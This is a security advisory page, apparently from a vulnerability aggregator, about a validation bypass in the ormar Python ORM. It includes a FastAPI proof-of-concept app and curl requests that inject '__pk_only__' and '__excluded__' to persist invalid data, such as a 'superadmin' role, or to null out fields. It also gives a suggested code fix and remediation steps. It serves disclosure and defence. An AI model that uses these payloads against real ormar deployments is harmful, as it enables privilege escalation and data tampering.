Severity by source
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L
Primary rating from GitHub Advisory · only source for this CVE.
CVSS VectorGitHub Advisory
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L
Lifecycle Timeline
4DescriptionGitHub Advisory
Summary
A Pydantic validation bypass in ormar's model constructor allows any unauthenticated user to skip all field validation - type checks, constraints, @field_validator/@model_validator decorators, choices enforcement, and required-field checks - by injecting "__pk_only__": true into a JSON request body. The unvalidated data is subsequently persisted to the database. This affects the canonical usage pattern recommended in ormar's official documentation and examples.
A secondary __excluded__ parameter injection uses the same design pattern to selectively nullify arbitrary model fields during construction.
Details
Root cause: NewBaseModel.__init__ (ormar/models/newbasemodel.py, line 128) pops __pk_only__ directly from user-supplied **kwargs before any validation occurs:
# ormar/models/newbasemodel.py, lines 128-142
pk_only = kwargs.pop("__pk_only__", False)
# ← extracted from user kwargs
object.__setattr__(self, "__pk_only__", pk_only)
new_kwargs, through_tmp_dict = self._process_kwargs(kwargs)
if not pk_only:
# Normal path: full Pydantic validation
new_kwargs = self.serialize_nested_models_json_fields(new_kwargs)
self.__pydantic_validator__.validate_python(
new_kwargs, self_instance=self
)
else:
# Bypass path: NO validation at all
fields_set = {self.ormar_config.pkname}
values = new_kwargs
object.__setattr__(self, "__dict__", values)
# raw dict written directly
object.__setattr__(self, "__pydantic_fields_set__", fields_set)The __pk_only__ flag was designed as an internal optimization for creating lightweight FK placeholder instances in ormar/fields/foreign_key.py (lines 41, 527). However, because it is extracted from **kwargs via .pop() with a False default, any external caller that passes user-controlled data to the model constructor can inject this flag.
Why the canonical FastAPI + ormar pattern is vulnerable:
Ormar's official example (examples/fastapi_quick_start.py, lines 55-58) recommends using ormar models directly as FastAPI request body parameters:
@app.post("/items/", response_model=Item)
async def create_item(item: Item):
await item.save()
return itemFastAPI parses the JSON body and calls TypeAdapter.validate_python(body_dict), which triggers ormar's __init__. The __pk_only__ key is popped at line 128 before Pydantic's validator inspects the data, so Pydantic never sees it - even extra='forbid' would not prevent this, because the key is already consumed by ormar.
The ormar Pydantic model_config (set in ormar/models/helpers/pydantic.py, line 108) does not set extra='forbid', providing no protection even in theory.
What is bypassed when __pk_only__=True:
- All type coercion and type checking (e.g., string for int field)
max_lengthconstraints on String fieldschoicesconstraints- All
@field_validatorand@model_validatordecorators nullable=Falseenforcement at the Pydantic level- Required-field enforcement (only
pknameis put infields_set) serialize_nested_models_json_fields()preprocessing
Save path persists unvalidated data to the database:
After construction with pk_only=True, calling .save() (ormar/models/model.py, lines 89-107) reads fields directly from self.__dict__ via _extract_model_db_fields(), then executes table.insert().values(**self_fields) - persisting the unvalidated data to the database with no re-validation.
Secondary vulnerability - __excluded__ injection:
The same pattern applies to __excluded__ at ormar/models/newbasemodel.py, line 292:
excluded: set[str] = kwargs.pop("__excluded__", set())At lines 326-329, fields listed in __excluded__ are silently set to None:
for field_to_nullify in excluded:
new_kwargs[field_to_nullify] = NoneAn attacker can inject "__excluded__": ["email", "password_hash"] to nullify arbitrary fields during construction.
Affected entry points:
| Entry Point | Exploitable? |
|---|---|
async def create_item(item: Item) (FastAPI route) | Yes |
Model.objects.create(**user_dict) | Yes |
Model(**user_dict) | Yes |
Model.model_validate(user_dict) | Yes |
PoC
Step 1: Create a FastAPI + ormar application using the canonical pattern from ormar's docs:
# app.py
from contextlib import asynccontextmanager
import sqlalchemy
import uvicorn
from fastapi import FastAPI
import ormar
DATABASE_URL = "sqlite+aiosqlite:///test.db"
ormar_base_config = ormar.OrmarConfig(
database=ormar.DatabaseConnection(DATABASE_URL),
metadata=sqlalchemy.MetaData(),
)
@asynccontextmanager
async def lifespan(app: FastAPI):
database_ = app.state.database
if not database_.is_connected:
await database_.connect()
# Create tables
engine = sqlalchemy.create_engine(DATABASE_URL.replace("+aiosqlite", ""))
ormar_base_config.metadata.create_all(engine)
engine.dispose()
yield
database_ = app.state.database
if database_.is_connected:
await database_.disconnect()
app = FastAPI(lifespan=lifespan)
database = ormar.DatabaseConnection(DATABASE_URL)
app.state.database = database
class User(ormar.Model):
ormar_config = ormar_base_config.copy(tablename="users")
id: int = ormar.Integer(primary_key=True)
name: str = ormar.String(max_length=50)
email: str = ormar.String(max_length=100)
role: str = ormar.String(max_length=20, default="user")
balance: int = ormar.Integer(default=0)
# Canonical ormar pattern from official examples
@app.post("/users/", response_model=User)
async def create_user(user: User):
await user.save()
return user
if __name__ == "__main__":
uvicorn.run(app, host="127.0.0.1", port=8000)Step 2: Send a normal request (validation works correctly):
# This correctly rejects - "name" exceeds max_length=50
curl -X POST http://127.0.0.1:8000/users/ \
-H "Content-Type: application/json" \
-d '{
"name": "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA",
"email": "user@example.com"
}'
# Returns: 422 Validation ErrorStep 3: Inject __pk_only__ to bypass ALL validation:
curl -X POST http://127.0.0.1:8000/users/ \
-H "Content-Type: application/json" \
-d '{
"__pk_only__": true,
"name": "",
"email": "not-an-email",
"role": "superadmin",
"balance": -99999
}'
# Returns: 200 OK - all fields persisted to database WITHOUT validation
# - "name" is empty despite being required
# - "email" is not a valid email
# - "role" is "superadmin" (bypassing any validator that restricts to "user"/"admin")
# - "balance" is negative (bypassing any ge=0 constraint)Step 4: Inject __excluded__ to nullify arbitrary fields:
curl -X POST http://127.0.0.1:8000/users/ \
-H "Content-Type: application/json" \
-d '{
"__excluded__": ["email", "role"],
"name": "attacker",
"email": "will-be-nullified@example.com",
"role": "will-be-nullified"
}'
# Returns: 200 OK - email and role are set to NULL regardless of inputImpact
Who is impacted: Every application using ormar's canonical FastAPI integration pattern (async def endpoint(item: OrmarModel)) is vulnerable. This is the primary usage pattern documented in ormar's official examples and documentation.
Vulnerability type: Complete Pydantic validation bypass.
Impact scenarios:
- Privilege escalation: If a model has a
roleoris_adminfield with a Pydantic validator restricting values to"user", an attacker can setrole="superadmin"by bypassing the validator - Data integrity violation: Type constraints (
max_length,ge/le, regex patterns) are all bypassed - invalid data is persisted to the database - Business logic bypass: Custom
@field_validatorand@model_validatordecorators (e.g., enforcing email format, age ranges, cross-field dependencies) are entirely skipped - Field nullification (via
__excluded__): Audit fields, tracking fields, or required business fields can be selectively set to NULL
Suggested fix:
Replace kwargs.pop("__pk_only__", False) with a keyword-only parameter that cannot be injected via **kwargs:
# Before (vulnerable)
def __init__(self, *args: Any, **kwargs: Any) -> None:
...
pk_only = kwargs.pop("__pk_only__", False)
# After (secure)
def __init__(self, *args: Any, _pk_only: bool = False, **kwargs: Any) -> None:
...
object.__setattr__(self, "__pk_only__", _pk_only)Apply the same fix to __excluded__:
# Before (vulnerable)
excluded: set[str] = kwargs.pop("__excluded__", set())
# After (secure) - pass via keyword-only _excluded parameter
def __init__(self, *args: Any, _pk_only: bool = False, _excluded: set | None = None, **kwargs: Any) -> None:
...
# In _process_kwargs:
excludes = _excluded or set()Internal callers in foreign_key.py would pass _pk_only=True as a named argument. Keyword-only parameters prefixed with _ cannot be injected via JSON body deserialization or Model(**user_dict) unpacking.
AnalysisAI
A critical validation bypass vulnerability in the ormar Python ORM library allows attackers to completely skip all Pydantic field validation by injecting a special '__pk_only__' parameter in JSON request bodies. This affects all applications using ormar's canonical FastAPI integration pattern (where ormar models are used directly as request body parameters), enabling attackers to persist invalid data, bypass security constraints, and potentially escalate privileges. A working proof-of-concept demonstrates the vulnerability is trivially exploitable, and with a CVSS score of 7.1, it poses significant risk to affected applications.
Technical ContextAI
The ormar library (CPE: pkg:pip/ormar) is a Python ORM that integrates with Pydantic for data validation and FastAPI for web APIs. The vulnerability stems from CWE-20 (Improper Input Validation) where the model constructor extracts the '__pk_only__' flag from user-supplied kwargs before Pydantic validation occurs. This internal optimization flag, designed for creating lightweight foreign key placeholder instances, can be injected by external users because it's popped from kwargs with a False default. The same pattern affects '__excluded__' parameter injection, allowing attackers to nullify arbitrary model fields. The vulnerability bypasses all type checks, field validators, model validators, choices constraints, max_length restrictions, and required field enforcement.
RemediationAI
Update the ormar library to the patched version once available, monitoring the GitHub advisory at https://github.com/ormar-orm/ormar/security/advisories/GHSA-f964-whrq-44h8 for release information. Until a patch is available, implement input sanitization by explicitly removing '__pk_only__' and '__excluded__' keys from user input before passing to ormar constructors, or create separate Pydantic models for API input validation that map to ormar models after validation. For critical applications, consider temporarily switching from the direct model binding pattern (item: OrmarModel) to explicit request body validation using standard Pydantic models, then manually constructing ormar instances with validated data.
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Same weakness CWE-20 – Improper Input Validation
View allSame technique Privilege Escalation
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External POC / Exploit Code
Leaving vuln.today
EUVD-2026-13198
GHSA-f964-whrq-44h8